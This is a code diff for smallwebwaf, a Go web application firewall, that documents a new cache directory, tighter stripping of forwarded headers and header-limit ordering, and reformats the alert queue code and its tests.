+no offence.
-sending such requests breaks a limit.
+
+The header limits are the first check after `SWW_ALLOW_NETS`. A request over
+them is refused before any later check runs. So it causes no lookup, no query to
+an outside source and no rule match, and the rate limits do not count it. A
+client under a ban or in `SWW_DENY_NETS` also gets `431` for such a request.
 
 The limits apply on every path and in every `SWW_WAF_MODE`. A client in
 `SWW_ALLOW_NETS` skips them, as it skips the Core Rule Set. In `observe` mode
-such a request is answered `allow` with `would_action`, and the Core Rule Set
+such a request is answered `allow` with `would_action`, and no other check runs
-does not read it.
+on it.
 
 The Core Rule Set runs each of its rules on each cookie, so thousands of small
 cookies would keep it busy for over a second. Within the limits, one long cookie
@@ -2310,8 +2409,10 @@ but for these headers:
   on.
 - For a peer outside `SWRP_TRUSTED_PROXIES`, its forwarded headers are its own
   claims and are replaced. `X-Forwarded-For` names the peer, `X-Forwarded-Host`
-  the host it asked for, and `X-Forwarded-Proto` plain `http`. The other headers
+  the host it asked for, and `X-Forwarded-Proto` plain `http`. Every other
-  in which traefik tells an app about a visitor are removed.
+  header whose name starts with `X-Forwarded-` is removed, and so are
+  `Forwarded` and `X-Real-IP`. A name spelt with `_` for `-`, such as
+  `X_Forwarded_Ssl`, counts as the same name.
 - `X-Request-ID`, which carries the fresh id.
 - `X-Client-ASN` and `X-Client-Country`, which carry what `waf` answered. A
   header it did not give is left out. Any of the two the visitor sent is
@@ -2464,7 +2565,9 @@ It sets no `ENTRYPOINT` or `USER` of its own. The container must start
 - The image's `run` script is `/etc/service/sww/run`. It starts `waf` when
   `SWW_COMMAND` is `waf`, and `rproxy` when it is `rproxy`, unset or empty. It
   runs either as the `sww` user (uid and gid 65532), with runit's `chpst`. For
-  `waf`, it first makes `SWW_STATE_DIR` and every file in it belong to that
+  `waf`, it first makes `SWW_STATE_DIR` if it is missing, gives it and every
+  file in it to that user, and sets its mode to `0700`. It also makes
+  `SWW_CACHE_DIR` if it is missing, and gives it and every file in it to that
   user. For `rproxy` it changes no owner. With any other value, it starts
   nothing, and stops with a message naming `SWW_COMMAND` and its value.
 
@@ -2489,7 +2592,7 @@ process that stops at start is started again every second, not in a tight loop.
     - invalid configuration;
     - a lookup database that is missing or unreadable;
     - a rule file or state file that does not parse;
-    - an unwritable `SWW_STATE_DIR`;
+    - an unwritable `SWW_STATE_DIR` or `SWW_CACHE_DIR`;
     - a `SWW_RULES_DIR` that does not exist or cannot be read;
     - a `SWW_LISTEN_ADDR` it cannot listen on.
 - Only an invalid setting, or a `SWRP_LISTEN_ADDR` it cannot listen on, stops
@@ -2558,6 +2661,10 @@ needs no backup beyond the host's own. The image declares no volume, since every
 app image built on it would inherit it. `rproxy` keeps nothing, and needs no
 volume.
 
+`waf` keeps its cache files in `SWW_CACHE_DIR`, `/var/cache/sww` by default,
+which the `run` script makes. The cache directory needs no volume and can be
+left out of backups: a new container starts with empty caches, which fill again.
+
 ### Tokens
 
 A token given as a file (`SWW_ADMIN_TOKEN_FILE`, `SWW_METRICS_TOKEN_FILE`) stays

docs/alerts.md

@@ -23,7 +23,8 @@ back or dropped.
     - the day's AbuseIPDB checks used up.
 - `file_error`: one of:
     - a rule file or state file edit with an error;
-    - a state file that cannot be written;
+    - a cache file that does not parse, at start or after an edit;
+    - a state file or cache file that cannot be written;
     - a replacement lookup database that cannot be read.
 - `summary`: the hourly summary of alerts held back.
 

docs/image.md

@@ -19,7 +19,8 @@ way.
 - The service directory `/etc/service/sww`, with the `run` script
   `share/sww.run`.
 - `/var/lib/sww` for `waf`'s state files, and `/etc/sww/rules.d` with the
-  default rule file `share/rules.d/00-default.rules`.
+  default rule file `share/rules.d/00-default.rules`. The `run` script makes
+  `SWW_STATE_DIR` when it is missing.
 - `EXPOSE 8080`, and the `HEALTHCHECK` that runs `sww healthcheck`.
 
 ## Pins

docs/metrics.md

@@ -58,9 +58,9 @@ By `source`: each list's URL, each zone, and `abuseipdb`:
 - `sww_reputation_last_fetch_timestamp_seconds`, for a list;
 - `sww_reputation_daily_budget_remaining`, for AbuseIPDB.
 
-## State files
+## State and cache files
 
-By `file`:
+By `file`, the name of a state or cache file:
 
 - `sww_state_file_writes_total`, `sww_state_file_write_failures_total`,
   `sww_state_file_last_write_timestamp_seconds` and `sww_state_file_size_bytes`;

docs/settings.md

@@ -50,14 +50,16 @@ the two (see "The image's command" below).
 - `SWW_METRICS_TOKEN` (default unset): the token for `/_sww/metrics`. At least
   32 characters.
 
-## State files
+## State and cache files
 
 - `SWW_STATE_DIR` (default `/var/lib/sww`): the directory of the state files, an
-  absolute path that exists and can be written.
+  absolute path that can be written. The image's `run` script makes it.
 - `SWW_STATE_WRITE_DELAY` (default `10s`): how long `bans.json` waits to be
   written after a ban is made, lifted or made permanent. A duration.
-- `SWW_STATE_COUNTER_INTERVAL` (default `15m`): how often every state file is
+- `SWW_STATE_COUNTER_INTERVAL` (default `15m`): how often every state and cache
-  written. A duration.
+  file is written. A duration.
+- `SWW_CACHE_DIR` (default `/var/cache/sww`): the directory of the cache files,
+  an absolute path that can be written. The image's `run` script makes it.
 
 ## Logging
 

docs/state-files.md

@@ -1,8 +1,23 @@
-# State files
+# State and cache files
 
-The five JSON files in `SWW_STATE_DIR`, and what each holds. "Persistent state"
+The JSON files `waf` keeps, and what each holds. "Persistent state" in
-in [`SPEC.md`](../SPEC.md) says how they are written, read and edited. Each has
+[`SPEC.md`](../SPEC.md) says how they are written, read and edited. Each has a
-a top-level `version` of 1.
+top-level `version` of 1.
+
+- The state files are in `SWW_STATE_DIR`, `/var/lib/sww` by default. They hold
+  what cannot be fetched again, so back them up:
+    - `bans.json`;
+    - `clients.json`;
+    - `abuseipdb-checks-spent.json`;
+    - `alerts.json`.
+- The cache files are in `SWW_CACHE_DIR`, `/var/cache/sww` by default. They hold
+  answers from outside services, which are asked again when a file is lost, so
+  the directory can be left out of backups:
+    - `lookups.json`;
+    - `lists.json`;
+    - `dnsbl.json`;
+    - `abuseipdb-scores.json`;
+    - `routewatch.json`.
 
 ## `bans.json`
 
@@ -67,21 +82,13 @@ since it was first seen:
   `blocked_by_core_rule_set`. A file may also hold `token_refused`, which is
   kept, and which nothing adds to.
 
-## `lookups.json`
+## `abuseipdb-checks-spent.json`
 
-GeoJS answers, one per line:
+The AbuseIPDB checks spent today, so that a restart does not spend the daily
+budget again:
 
-- `client`;
+- `day`: the day, in UTC;
-- `asn`, `as_name` and `country`;
+- `spent`: the checks spent on it.
-- `answered`: when GeoJS answered;
-- `used`: when the answer was last used.
-
-## `reputation.json`
-
-- the last good copy of each list fetched from a URL, with when it was last
-  tried;
-- each DNS blocklist verdict still in use;
-- AbuseIPDB's scores, and the checks spent today.
 
 ## `alerts.json`
 
@@ -91,6 +98,51 @@ GeoJS answers, one per line:
 - the alerts sent and held back in the current hour;
 - the alerts waiting for each destination.
 
+## `lookups.json`
+
+A cache file. GeoJS answers, one per line:
+
+- `client`;
+- `asn`, `as_name` and `country`;
+- `answered`: when GeoJS answered;
+- `used`: when the answer was last used.
+
+## `lists.json`
+
+A cache file. The last good copy of each list fetched from a URL, with when it
+was last tried:
+
+- `url`;
+- `tried`: when it was last fetched or tried;
+- `fetched` and `lines`: when the last good copy was fetched, and its lines,
+  comment lines included.
+
+## `dnsbl.json`
+
+A cache file. Each DNS blocklist verdict still in use, one per line:
+
+- `zone` and `client`;
+- `listed`: whether the zone lists the client;
+- `fetched`: when the zone answered.
+
+## `abuseipdb-scores.json`
+
+A cache file. AbuseIPDB's scores still in use, one per line:
+
+- `client`;
+- `score`: from 0 to 100;
+- `fetched`: when AbuseIPDB answered.
+
+## `routewatch.json`
+
+A cache file. routewatch's answers from the last hour, one per line:
+
+- `client`;
+- `netblock`: the netblock the client's address is announced in, empty for an
+  address without a live route;
+- `asn`: the number of the AS that originates the netblock, 0 for none;
+- `answered`: when routewatch answered.
+
 ## Sizes
 
 - `clients.json`: about 1 KiB per client, about 20 MiB at the default
@@ -102,4 +154,7 @@ GeoJS answers, one per line:
   more.
 - `lookups.json`: about 150 bytes per answer, under 1.5 GiB of writes a day when
   full.
-- `reputation.json` and `alerts.json`: usually a few MiB or less.
+- `routewatch.json`: about 120 bytes per answer, at most about 12 MiB.
+- `abuseipdb-checks-spent.json`: a few bytes.
+- `lists.json`, `dnsbl.json`, `abuseipdb-scores.json` and `alerts.json`: usually
+  a few MiB or less.

go.mod

@@ -3,6 +3,7 @@ module sneak.berlin/go/smallwebwaf
 go 1.26.0
 
 require (
+	cloud.google.com/go v0.123.0
 	github.com/corazawaf/coraza-coreruleset/v4 v4.25.0
 	github.com/corazawaf/coraza/v3 v3.8.2-0.20261022102553-d028be399c68
 	github.com/fsnotify/fsnotify v1.10.1

go.sum

@@ -1,3 +1,5 @@
+cloud.google.com/go v0.123.0 h1:2NAUJwPR47q+E35uaJeYoNhuNEM9kM8SjgRgdeOJUSE=
+cloud.google.com/go v0.123.0/go.mod h1:xBoMV08QcqUGuPW65Qfm1o9Y4zKZBpGS+7bImXLTAZU=
 github.com/beorn7/perks v1.0.1 h1:VlbKKnNfV8bJzeqoa4cOKqO6bYr3WgKZxO8Z16+hsOM=
 github.com/beorn7/perks v1.0.1/go.mod h1:G2ZrVWU2WbWT9wwq4/hrbKbnv/1ERSJQ0ibhJ6rlkpw=
 github.com/cespare/xxhash/v2 v2.3.0 h1:UL815xU9SqsFlibzuggzjXhog7bL6oX9BbNZnL2UFvs=

internal/alerts/alerts.go

@@ -56,9 +56,11 @@ const (
 	// of a list failing, a query to a DNSBL zone or a check with AbuseIPDB
 	// failing or refused, or the day's AbuseIPDB checks used up.
 	EventSourceFailure = "source_failure"
-	// EventFileError is a rule file or state file edited while sww
+	// EventFileError is one of:
-	// runs that does not parse, a replacement of the lookup database that
+	//   - a rule file or state file edited while sww runs that does not parse;
-	// cannot be read, or a state file that cannot be written.
+	//   - a cache file that does not parse, at start or after an edit;
+	//   - a state file or cache file that cannot be written;
+	//   - a replacement of the lookup database that cannot be read.
 	EventFileError = "file_error"
 	// EventSummary is the summary sent as an hour ends: of the alerts held
 	// back in it past SWW_ALERT_MAX_PER_HOUR, and of the repeats held
@@ -289,7 +291,15 @@ func cooldownKeyOf(alert *Alert) cooldownKey {
 	asn, _ := alert.Detail["asn"].(string)
 	name, _ := alert.Detail["name"].(string)
 
-	return cooldownKey{alert.Event, alert.Netblock, file, source, scope, asn, name}
+	return cooldownKey{
+		alert.Event,
+		alert.Netblock,
+		file,
+		source,
+		scope,
+		asn,
+		name,
+	}
 }
 
 // New returns a Queue with no alert yet.
@@ -331,7 +341,8 @@ func New(params Params) *Queue {
 // queue of each destination, from which Run sends it, and with queueSize
 // alerts waiting for a destination, the oldest is dropped.
 func (q *Queue) Raise(alert Alert) {
-	if len(q.destinations) == 0 || !slices.Contains(q.params.Events, alert.Event) {
+	if len(q.destinations) == 0 ||
+		!slices.Contains(q.params.Events, alert.Event) {
 		return
 	}
 
@@ -378,7 +389,8 @@ func (q *Queue) WouldSend(event string, netblock netip.Prefix) bool {
 	now := q.params.Now()
 
 	last, found := q.cooldowns[cooldownKey{event: event, netblock: netblock}]
-	if q.params.Cooldown > 0 && found && now.Sub(last.Sent) < q.params.Cooldown {
+	if q.params.Cooldown > 0 && found &&
+		now.Sub(last.Sent) < q.params.Cooldown {
 		return false
 	}
 
@@ -472,10 +484,15 @@ func (q *Queue) Snapshot() State {
 	}
 
 	slices.SortFunc(state.Cooldowns, func(a, b Cooldown) int {
-		return cmp.Or(a.Netblock.Compare(b.Netblock), cmp.Compare(a.Event, b.Event),
+		return cmp.Or(
-			cmp.Compare(a.File, b.File), cmp.Compare(a.Source, b.Source),
+			a.Netblock.Compare(b.Netblock),
-			cmp.Compare(a.Scope, b.Scope), cmp.Compare(a.ASN, b.ASN),
+			cmp.Compare(a.Event, b.Event),
-			cmp.Compare(a.Name, b.Name))
+			cmp.Compare(a.File, b.File),
+			cmp.Compare(a.Source, b.Source),
+			cmp.Compare(a.Scope, b.Scope),
+			cmp.Compare(a.ASN, b.ASN),
+			cmp.Compare(a.Name, b.Name),
+		)
 	})
 
 	for _, d := range q.destinations {
@@ -607,9 +624,12 @@ func (q *Queue) endHour(now time.Time) {
 	var reasons []string
 
 	if heldBack > 0 {
-		reasons = append(reasons, fmt.Sprintf("%d alerts held back in the hour from %s, "+
+		reasons = append(
-			"past the %d an hour SWW_ALERT_MAX_PER_HOUR allows", heldBack,
+			reasons,
-			q.hour.Start.Format(time.RFC3339), q.params.MaxPerHour))
+			fmt.Sprintf("%d alerts held back in the hour from %s, "+
+				"past the %d an hour SWW_ALERT_MAX_PER_HOUR allows", heldBack,
+				q.hour.Start.Format(time.RFC3339), q.params.MaxPerHour),
+		)
 	}
 
 	if repeats > 0 {
@@ -688,12 +708,19 @@ func (d *destination) run(ctx context.Context) {
 			case ctx.Err() == nil: // not cut off as sww stops
 				d.sendFailures.Add(1)
 
-				retryDelay = min(max(retryDelayFactor*retryDelay, firstRetryDelay),
+				retryDelay = min(
-					maxRetryDelay)
+					max(retryDelayFactor*retryDelay, firstRetryDelay),
+					maxRetryDelay,
+				)
 				retryAt = time.Now().Add(retryDelay)
 
-				d.processLog.Warn("sending an alert to "+d.setting+" failed",
+				d.processLog.Warn(
-					"error", err.Error(), "sending_again_in", retryDelay.String())
+					"sending an alert to "+d.setting+" failed",
+					"error",
+					err.Error(),
+					"sending_again_in",
+					retryDelay.String(),
+				)
 			}
 		}
 	}
@@ -781,8 +808,12 @@ func (d *destination) send(ctx context.Context, alert *Alert) error {
 	ctx, cancel := context.WithTimeout(ctx, sendTimeout)
 	defer cancel()
 
-	req, err := http.NewRequestWithContext(ctx, http.MethodPost, d.url.String(),
+	req, err := http.NewRequestWithContext(
-		bytes.NewReader(body))
+		ctx,
+		http.MethodPost,
+		d.url.String(),
+		bytes.NewReader(body),
+	)
 	if err != nil {
 		return fmt.Errorf("make the request: %w", err)
 	}
@@ -836,7 +867,14 @@ func (q *Queue) webhookMessage(alert *Alert) ([]byte, http.Header, error) {
 // in JSON: its title in bold, then its text, with &, < and > escaped, as
 // Slack asks, so that nothing in them is read as a link or a mention.
 func slackMessage(alert *Alert) ([]byte, http.Header, error) {
-	escape := strings.NewReplacer("&", "&amp;", "<", "&lt;", ">", "&gt;").Replace
+	escape := strings.NewReplacer(
+		"&",
+		"&amp;",
+		"<",
+		"&lt;",
+		">",
+		"&gt;",
+	).Replace
 
 	body, err := json.Marshal(map[string]string{
 		"text": "*" + escape(title(alert)) + "*\n" + escape(text(alert)),
@@ -934,7 +972,10 @@ func text(alert *Alert) string {
 	}
 
 	if alert.SuppressedRepeats > 0 {
-		lines = append(lines, fmt.Sprintf("suppressed repeats: %d", alert.SuppressedRepeats))
+		lines = append(
+			lines,
+			fmt.Sprintf("suppressed repeats: %d", alert.SuppressedRepeats),
+		)
 	}
 
 	return strings.Join(lines, "\n")

internal/alerts/alerts_test.go

@@ -65,7 +65,10 @@ func TestAlertIsPostedAsJSONWithItsFieldsAndTheHeaders(t *testing.T) {
 			Netblock: netip.MustParsePrefix("203.0.113.0/24"),
 			Country:  "DE",
 			Reason:   "requests per minute over the limit of 1000",
-			Detail:   map[string]any{"cause": "limit", "ban_expires": anHourOn},
+			Detail: map[string]any{
+				"cause":       "limit",
+				"ban_expires": anHourOn,
+			},
 		})
 		synctest.Wait()
 
@@ -75,7 +78,12 @@ func TestAlertIsPostedAsJSONWithItsFieldsAndTheHeaders(t *testing.T) {
 		}
 
 		if got[0].method != http.MethodPost || got[0].url != webhookURL {
-			t.Errorf("request %s %s, want POST %s", got[0].method, got[0].url, webhookURL)
+			t.Errorf(
+				"request %s %s, want POST %s",
+				got[0].method,
+				got[0].url,
+				webhookURL,
+			)
 		}
 
 		for name, want := range map[string]string{
@@ -84,21 +92,29 @@ func TestAlertIsPostedAsJSONWithItsFieldsAndTheHeaders(t *testing.T) {
 			"X-Team":        "ops",
 		} {
 			if got[0].header.Get(name) != want {
-				t.Errorf("header %s is %q, want %q", name, got[0].header.Get(name), want)
+				t.Errorf(
+					"header %s is %q, want %q",
+					name,
+					got[0].header.Get(name),
+					want,
+				)
 			}
 		}
 
 		wantAlert(t, got[0].alert, map[string]any{
-			"instance":           instance,
+			"instance": instance,
-			"time":               started,
+			"time":     started,
-			"event":              "ban",
+			"event":    "ban",
-			"client":             "203.0.113.9",
+			"client":   "203.0.113.9",
-			"netblock":           "203.0.113.0/24",
+			"netblock": "203.0.113.0/24",
-			"asn":                "",
+			"asn":      "",
-			"as_name":            "",
+			"as_name":  "",
-			"country":            "DE",
+			"country":  "DE",
-			"reason":             "requests per minute over the limit of 1000",
+			"reason":   "requests per minute over the limit of 1000",
-			"detail":             map[string]any{"cause": "limit", "ban_expires": anHourOn},
+			"detail": map[string]any{
+				"cause":       "limit",
+				"ban_expires": anHourOn,
+			},
 			"suppressed_repeats": float64(0),
 		})
 		wantCounts(t, q, 1, 0, 0, 0)
@@ -110,12 +126,25 @@ func TestOnlyTheChosenEventsAreSent(t *testing.T) {
 
 	synctest.Test(t, func(t *testing.T) {
 		params := newParams()
-		params.Events = []string{alerts.EventSourceFailure, alerts.EventFileError}
+		params.Events = []string{
+			alerts.EventSourceFailure,
+			alerts.EventFileError,
+		}
 		webhook, q := start(t, params)
 
 		q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)})
-		q.Raise(alerts.Alert{Event: alerts.EventFileError, Reason: "a file error"})
+		q.Raise(
-		q.Raise(alerts.Alert{Event: alerts.EventPermanentBan, Netblock: netblock(1)})
+			alerts.Alert{
+				Event:  alerts.EventFileError,
+				Reason: "a file error",
+			},
+		)
+		q.Raise(
+			alerts.Alert{
+				Event:    alerts.EventPermanentBan,
+				Netblock: netblock(1),
+			},
+		)
 		synctest.Wait()
 
 		wantEvents(t, webhook, alerts.EventFileError)
@@ -127,12 +156,17 @@ func TestWouldSendOnlyForTheChosenEvents(t *testing.T) {
 	t.Parallel()
 
 	params := newParams()
-	params.Events = []string{alerts.EventSourceFailure, alerts.EventFileError}
+	params.Events = []string{
+		alerts.EventSourceFailure,
+		alerts.EventFileError,
+	}
 	q := alerts.New(params)
 
 	if q.WouldSend(alerts.EventBan, netblock(1)) ||
 		q.WouldSend(alerts.EventPermanentBan, netblock(1)) {
-		t.Error("a ban alert would be sent, though SWW_ALERT_EVENTS leaves it out")
+		t.Error(
+			"a ban alert would be sent, though SWW_ALERT_EVENTS leaves it out",
+		)
 	}
 
 	if !q.WouldSend(alerts.EventFileError, netip.Prefix{}) {
@@ -188,7 +222,10 @@ func TestWouldSendWithOnlySlackOrOnlyNtfySet(t *testing.T) {
 		"SWW_ALERT_NTFY_URL":          onlyNtfy,
 	} {
 		if !alerts.New(params).WouldSend(alerts.EventBan, netblock(1)) {
-			t.Errorf("a ban alert would not be sent with only %s set", setting)
+			t.Errorf(
+				"a ban alert would not be sent with only %s set",
+				setting,
+			)
 		}
 	}
 }
@@ -225,8 +262,14 @@ func TestRepeatWithinTheCooldownIsHeldBackAndCountedInTheNext(t *testing.T) {
 		synctest.Wait()
 
 		got := webhook.received()
-		wantEvents(t, webhook, alerts.EventBan, alerts.EventBan, alerts.EventPermanentBan,
+		wantEvents(
-			alerts.EventBan)
+			t,
+			webhook,
+			alerts.EventBan,
+			alerts.EventBan,
+			alerts.EventPermanentBan,
+			alerts.EventBan,
+		)
 
 		for i, want := range []struct {
 			netblock int
@@ -235,9 +278,14 @@ func TestRepeatWithinTheCooldownIsHeldBackAndCountedInTheNext(t *testing.T) {
 			alert := got[i].alert
 			if alert["netblock"] != netblock(want.netblock).String() ||
 				alert["suppressed_repeats"] != want.repeats {
-				t.Errorf("alert %d is for %v with %v repeats, want %s with %v", i,
+				t.Errorf(
-					alert["netblock"], alert["suppressed_repeats"], netblock(want.netblock),
+					"alert %d is for %v with %v repeats, want %s with %v",
-					want.repeats)
+					i,
+					alert["netblock"],
+					alert["suppressed_repeats"],
+					netblock(want.netblock),
+					want.repeats,
+				)
 			}
 		}
 
@@ -245,7 +293,9 @@ func TestRepeatWithinTheCooldownIsHeldBackAndCountedInTheNext(t *testing.T) {
 	})
 }
 
-func TestFileErrorAndSourceFailureRepeatOnlyForTheSameFileOrSource(t *testing.T) {
+func TestFileErrorAndSourceFailureRepeatOnlyForTheSameFileOrSource(
+	t *testing.T,
+) {
 	t.Parallel()
 
 	synctest.Test(t, func(t *testing.T) {
@@ -253,8 +303,11 @@ func TestFileErrorAndSourceFailureRepeatOnlyForTheSameFileOrSource(t *testing.T)
 		webhook, q := start(t, params)
 		fileError := func(file string) alerts.Alert {
 			return alerts.Alert{
-				Event:  alerts.EventFileError,
+				Event: alerts.EventFileError,
-				Detail: map[string]any{"file": file, "error": "line 2: an error"},
+				Detail: map[string]any{
+					"file":  file,
+					"error": "line 2: an error",
+				},
 			}
 		}
 		sourceFailure := func(source string) alerts.Alert {
@@ -285,7 +338,11 @@ func TestFileErrorAndSourceFailureRepeatOnlyForTheSameFileOrSource(t *testing.T)
 			"/rules.d/50-a.rules", "/rules.d/50-b.rules", "geojs", "abuseipdb",
 		}
 		if !slices.Equal(got, want) {
-			t.Errorf("the webhook was sent alerts for %v, want %v", got, want)
+			t.Errorf(
+				"the webhook was sent alerts for %v, want %v",
+				got,
+				want,
+			)
 		}
 
 		wantCounts(t, q, 4, 0, 2, 0)
@@ -298,8 +355,12 @@ func TestFileErrorAndSourceFailureRepeatOnlyForTheSameFileOrSource(t *testing.T)
 		after.Raise(fileError("/rules.d/50-c.rules"))
 
 		waiting := after.Snapshot().Waiting[alerts.DestinationWebhook]
-		if len(waiting) != 1 || waiting[0].Detail["file"] != "/rules.d/50-c.rules" {
+		if len(waiting) != 1 ||
-			t.Errorf("after loading, alerts wait %+v, want the one for 50-c.rules", waiting)
+			waiting[0].Detail["file"] != "/rules.d/50-c.rules" {
+			t.Errorf(
+				"after loading, alerts wait %+v, want the one for 50-c.rules",
+				waiting,
+			)
 		}
 	})
 }
@@ -336,7 +397,12 @@ func TestAlertsPastTheHourlyLimitAreRolledIntoOneSummary(t *testing.T) {
 		q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)})
 		q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(2)})
 		q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(3)})
-		q.Raise(alerts.Alert{Event: alerts.EventPermanentBan, Netblock: netblock(4)})
+		q.Raise(
+			alerts.Alert{
+				Event:    alerts.EventPermanentBan,
+				Netblock: netblock(4),
+			},
+		)
 		q.Raise(alerts.Alert{Event: alerts.EventFileError})
 
 		// The summary is sent as the hour ends, and not before.
@@ -346,7 +412,13 @@ func TestAlertsPastTheHourlyLimitAreRolledIntoOneSummary(t *testing.T) {
 
 		time.Sleep(time.Nanosecond)
 		synctest.Wait()
-		wantEvents(t, webhook, alerts.EventBan, alerts.EventBan, alerts.EventSummary)
+		wantEvents(
+			t,
+			webhook,
+			alerts.EventBan,
+			alerts.EventBan,
+			alerts.EventSummary,
+		)
 
 		summary := webhook.received()[2].alert
 		wantAlert(t, summary, map[string]any{
@@ -364,7 +436,9 @@ func TestAlertsPastTheHourlyLimitAreRolledIntoOneSummary(t *testing.T) {
 				"hour":  started,
 				"count": float64(3),
 				"events": map[string]any{
-					"ban": float64(1), "permanent_ban": float64(1), "file_error": float64(1),
+					"ban": float64(
+						1,
+					), "permanent_ban": float64(1), "file_error": float64(1),
 				},
 			},
 			"suppressed_repeats": float64(0),
@@ -375,13 +449,21 @@ func TestAlertsPastTheHourlyLimitAreRolledIntoOneSummary(t *testing.T) {
 		q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(5)})
 		time.Sleep(time.Hour)
 		synctest.Wait()
-		wantEvents(t, webhook, alerts.EventBan, alerts.EventBan, alerts.EventSummary,
+		wantEvents(
-			alerts.EventBan)
+			t,
+			webhook,
+			alerts.EventBan,
+			alerts.EventBan,
+			alerts.EventSummary,
+			alerts.EventBan,
+		)
 		wantCounts(t, q, 4, 0, 3, 0)
 	})
 }
 
-func TestRepeatsBeforeAnAlertPastTheHourlyLimitAreGivenByTheSummary(t *testing.T) {
+func TestRepeatsBeforeAnAlertPastTheHourlyLimitAreGivenByTheSummary(
+	t *testing.T,
+) {
 	t.Parallel()
 
 	synctest.Test(t, func(t *testing.T) {
@@ -389,7 +471,9 @@ func TestRepeatsBeforeAnAlertPastTheHourlyLimitAreGivenByTheSummary(t *testing.T
 		params.MaxPerHour = 1
 		webhook, q := start(t, params)
 		raise := func() {
-			q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)})
+			q.Raise(
+				alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)},
+			)
 		}
 
 		// The hour's one alert, and two repeats the cooldown holds back.
@@ -408,7 +492,13 @@ func TestRepeatsBeforeAnAlertPastTheHourlyLimitAreGivenByTheSummary(t *testing.T
 		raise()
 		synctest.Wait()
 
-		wantEvents(t, webhook, alerts.EventBan, alerts.EventSummary, alerts.EventBan)
+		wantEvents(
+			t,
+			webhook,
+			alerts.EventBan,
+			alerts.EventSummary,
+			alerts.EventBan,
+		)
 
 		got := webhook.received()
 		if len(got) == 3 {
@@ -416,11 +506,16 @@ func TestRepeatsBeforeAnAlertPastTheHourlyLimitAreGivenByTheSummary(t *testing.T
 			summaryRepeats := got[1].alert["suppressed_repeats"]
 			lastRepeats := got[2].alert["suppressed_repeats"]
 
-			if detail["count"] != float64(1) || summaryRepeats != float64(2) ||
+			if detail["count"] != float64(1) ||
+				summaryRepeats != float64(2) ||
 				lastRepeats != float64(0) {
-				t.Errorf("the summary counts %v alerts and %v repeats, and the last "+
+				t.Errorf(
-					"alert gives %v repeats, want 1, 2 and 0", detail["count"],
+					"the summary counts %v alerts and %v repeats, and the last "+
-					summaryRepeats, lastRepeats)
+						"alert gives %v repeats, want 1, 2 and 0",
+					detail["count"],
+					summaryRepeats,
+					lastRepeats,
+				)
 			}
 		}
 
@@ -428,7 +523,9 @@ func TestRepeatsBeforeAnAlertPastTheHourlyLimitAreGivenByTheSummary(t *testing.T
 	})
 }
 
-func TestCooldownsThatHaveRunOutAreDroppedAndTheirRepeatsSummedUp(t *testing.T) {
+func TestCooldownsThatHaveRunOutAreDroppedAndTheirRepeatsSummedUp(
+	t *testing.T,
+) {
 	t.Parallel()
 
 	for name, maxPerHour := range map[string]int{"limit off": 0, "limit set": 60} {
@@ -465,8 +562,12 @@ func TestCooldownsThatHaveRunOutAreDroppedAndTheirRepeatsSummedUp(t *testing.T)
 
 					kept := len(q.Snapshot().Cooldowns)
 					if kept > int(cooldown/time.Minute) {
-						t.Errorf("after %d netblocks, %d cooldowns are kept, want at most %d",
+						t.Errorf(
-							netblocks, kept, int(cooldown/time.Minute))
+							"after %d netblocks, %d cooldowns are kept, want at most %d",
+							netblocks,
+							kept,
+							int(cooldown/time.Minute),
+						)
 					}
 				}
 
@@ -484,8 +585,13 @@ func TestCooldownsThatHaveRunOutAreDroppedAndTheirRepeatsSummedUp(t *testing.T)
 
 				kept := len(q.Snapshot().Cooldowns)
 				if kept != 0 || repeats != float64(netblocks) {
-					t.Errorf("%d cooldowns are kept and the webhook was given %v repeats, "+
+					t.Errorf(
-						"want 0 and %d", kept, repeats, netblocks)
+						"%d cooldowns are kept and the webhook was given %v repeats, "+
+							"want 0 and %d",
+						kept,
+						repeats,
+						netblocks,
+					)
 				}
 			})
 		})
@@ -620,8 +726,14 @@ func TestFailedRequestIsLoggedWithoutTheURL(t *testing.T) {
 		logged := log.String()
 		if !strings.Contains(logged,
 			`"msg":"sending an alert to SWW_ALERT_WEBHOOK_URL failed"`) ||
-			strings.Contains(logged, "alerts.example") || strings.Contains(logged, "team=ops") {
+			strings.Contains(
-			t.Errorf("process log %q names no failure, or names the URL", logged)
+				logged,
+				"alerts.example",
+			) || strings.Contains(logged, "team=ops") {
+			t.Errorf(
+				"process log %q names no failure, or names the URL",
+				logged,
+			)
 		}
 	})
 }
@@ -639,7 +751,9 @@ func TestFullQueueDropsTheOldestAndRaiseNeverWaits(t *testing.T) {
 		// than the queue holds is raised: none waits, and the oldest, the
 		// one the webhook was sent, is dropped.
 		for n := range alerts.QueueSize + 1 {
-			q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(n)})
+			q.Raise(
+				alerts.Alert{Event: alerts.EventBan, Netblock: netblock(n)},
+			)
 
 			if n == 0 {
 				synctest.Wait()
@@ -653,9 +767,17 @@ func TestFullQueueDropsTheOldestAndRaiseNeverWaits(t *testing.T) {
 		wantCounts(t, q, 0, 0, 0, 1)
 
 		waiting := q.Snapshot().Waiting[alerts.DestinationWebhook]
-		if len(waiting) != alerts.QueueSize || waiting[0].Netblock != netblock(1) {
+		if len(waiting) != alerts.QueueSize ||
-			t.Fatalf("%d alerts wait, the first for %s, want %d, the first for %s",
+			waiting[0].Netblock != netblock(1) {
-				len(waiting), waiting[0].Netblock, alerts.QueueSize, netblock(1))
+			t.Fatalf(
+				"%d alerts wait, the first for %s, want %d, the first for %s",
+				len(
+					waiting,
+				),
+				waiting[0].Netblock,
+				alerts.QueueSize,
+				netblock(1),
+			)
 		}
 
 		// The request is abandoned after 10 seconds, and the webhook, which
@@ -667,14 +789,22 @@ func TestFullQueueDropsTheOldestAndRaiseNeverWaits(t *testing.T) {
 		got := webhook.received()
 		if len(got) != alerts.QueueSize+1 ||
 			got[0].alert["netblock"] != netblock(0).String() {
-			t.Fatalf("the webhook had %d requests, want %d, the first for %s",
+			t.Fatalf(
-				len(got), alerts.QueueSize+1, netblock(0))
+				"the webhook had %d requests, want %d, the first for %s",
+				len(got),
+				alerts.QueueSize+1,
+				netblock(0),
+			)
 		}
 
 		for i, request := range got[1:] {
